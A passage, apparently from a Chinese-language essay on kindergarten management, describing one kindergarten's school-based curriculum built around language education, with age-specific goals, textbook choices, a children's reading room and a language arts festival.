第三，嘗試「園本課程」開發，辦出「語言特色園」。《基礎教育課程改革綱要》明確指出：學校在執行國家課程和地方課程的同時，應視當地社會、經濟發展的具體情況，結合本校的傳統和優勢、學生的興趣和需要，開發或選用適合本校的課程。可見，嘗試和研究「園本課程」的開發是當今幼兒園課程改革的需要。現實表明：一個幼兒園只有辦出自己的特色，才能被社會、家長所接納。我園嘗試「園本課程」的開發模式，是以語言探索為橋梁，整合其他領域教育的研究，在環境創設、課程安排及教材內容的選擇上突出語言特色，努力為幼兒營造學習語言的良好氛圍。例如，各年段圍繞本段幼兒的年齡特點制定語言教育計劃，擬出語言發展的目標與發展重點。即小班側重於良好傾聽能力的培養，中、大班側重於早期閱讀和講述能力的提高。在課程安排中增加一周語言活動的次數，教材內容以《省編》教材結合南師大出版的《幼兒園課程指導叢書》中的語言教材，選擇內容新穎、富有童趣、幼兒喜愛的語言文學資料。全方位創建語言教育環境，建立「娃娃閱覽室」，為幼兒早期閱讀提供良好的學習天地，開設「小太陽廣播站」，開展「語言藝術節」，為幼兒創設和提供想說、敢說、喜歡說的條件、機會。總之，在幼兒園課程改革的今天，管理者要有新觀念、新思路，不斷優化幼兒園的內部管理，建立符合本園的管理網路